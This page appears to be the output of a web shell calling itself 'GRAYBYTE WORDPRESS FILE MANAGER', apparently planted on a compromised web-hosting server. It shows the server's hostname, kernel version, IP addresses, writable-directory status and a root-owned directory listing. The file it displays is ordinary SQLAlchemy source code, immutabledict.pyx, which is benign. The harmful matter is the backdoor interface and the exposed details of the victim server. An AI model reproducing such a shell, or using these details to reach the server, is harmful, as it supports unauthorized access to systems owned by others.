✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.131
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/hc_python/lib/python3.12/site-packages/sqlalchemy/cyextension//immutabledict.pyx
# cyextension/immutabledict.pyx
# Copyright (C) 2005-2024 the SQLAlchemy authors and contributors
# <see AUTHORS file>
#
# This module is part of SQLAlchemy and is released under
# the MIT License: https://www.opensource.org/licenses/mit-license.php
from cpython.dict cimport PyDict_New, PyDict_Update, PyDict_Size


def _readonly_fn(obj):
    raise TypeError(
        "%s object is immutable and/or readonly" % obj.__class__.__name__)


def _immutable_fn(obj):
    raise TypeError(
        "%s object is immutable" % obj.__class__.__name__)


class ReadOnlyContainer:

    __slots__ = ()

    def _readonly(self, *a,**kw):
        _readonly_fn(self)

    __delitem__ = __setitem__ = __setattr__ = _readonly


class ImmutableDictBase(dict):
    def _immutable(self, *a,**kw):
        _immutable_fn(self)

    @classmethod
    def __class_getitem__(cls, key):
        return cls

    __delitem__ = __setitem__ = __setattr__ = _immutable
    clear = pop = popitem = setdefault = update = _immutable


cdef class immutabledict(dict):
    def __repr__(self):
        return f"immutabledict({dict.__repr__(self)})"

    @classmethod
    def __class_getitem__(cls, key):
        return cls

    def union(self, *args, **kw):
        cdef dict to_merge = None
        cdef immutabledict result
        cdef Py_ssize_t args_len = len(args)
        if args_len > 1:
            raise TypeError(
                f'union expected at most 1 argument, got {args_len}'
            )
        if args_len == 1:
            attribute = args[0]
            if isinstance(attribute, dict):
                to_merge = <dict> attribute
        if to_merge is None:
            to_merge = dict(*args, **kw)

        if PyDict_Size(to_merge) == 0:
            return self

        # new + update is faster than immutabledict(self)
        result = immutabledict()
        PyDict_Update(result, self)
        PyDict_Update(result, to_merge)
        return result

    def merge_with(self, *other):
        cdef immutabledict result = None
        cdef object d
        cdef bint update = False
        if not other:
            return self
        for d in other:
            if d:
                if update == False:
                    update = True
                    # new + update is faster than immutabledict(self)
                    result = immutabledict()
                    PyDict_Update(result, self)
                PyDict_Update(
                    result, <dict>(d if isinstance(d, dict) else dict(d))
                )

        return self if update == False else result

    def copy(self):
        return self

    def __reduce__(self):
        return immutabledict, (dict(self), )

    def __delitem__(self, k):
        _immutable_fn(self)

    def __setitem__(self, k, v):
        _immutable_fn(self)

    def __setattr__(self, k, v):
        _immutable_fn(self)

    def clear(self, *args, **kw):
        _immutable_fn(self)

    def pop(self, *args, **kw):
        _immutable_fn(self)

    def popitem(self, *args, **kw):
        _immutable_fn(self)

    def setdefault(self, *args, **kw):
        _immutable_fn(self)

    def update(self, *args, **kw):
        _immutable_fn(self)

    # PEP 584
    def __ior__(self, other):
        _immutable_fn(self)

    def __or__(self, other):
        return immutabledict(dict.__or__(self, other))

    def __ror__(self, other):
        # NOTE: this is used only in cython 3.x;
        # version 0.x will call __or__ with args inversed
        return immutabledict(dict.__ror__(self, other))


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 May 2025 12.34 PM
root / root
0755
__pycache__
--
12 May 2025 12.34 PM
root / root
0755
__init__.py
0.238 KB
12 May 2025 12.34 PM
root / root
0644
collections.cpython-312-x86_64-linux-gnu.so
1.84 MB
12 May 2025 12.34 PM
root / root
0755
collections.pyx
12.276 KB
12 May 2025 12.34 PM
root / root
0644
immutabledict.cpython-312-x86_64-linux-gnu.so
786.75 KB
12 May 2025 12.34 PM
root / root
0755
immutabledict.pxd
0.284 KB
12 May 2025 12.34 PM
root / root
0644
immutabledict.pyx
3.452 KB
12 May 2025 12.34 PM
root / root
0644
processors.cpython-312-x86_64-linux-gnu.so
518.242 KB
12 May 2025 12.34 PM
root / root
0755
processors.pyx
1.75 KB
12 May 2025 12.34 PM
root / root
0644
resultproxy.cpython-312-x86_64-linux-gnu.so
606.766 KB
12 May 2025 12.34 PM
root / root
0755
resultproxy.pyx
2.661 KB
12 May 2025 12.34 PM
root / root
0644
util.cpython-312-x86_64-linux-gnu.so
928.641 KB
12 May 2025 12.34 PM
root / root
0755
util.pyx
2.471 KB
12 May 2025 12.34 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF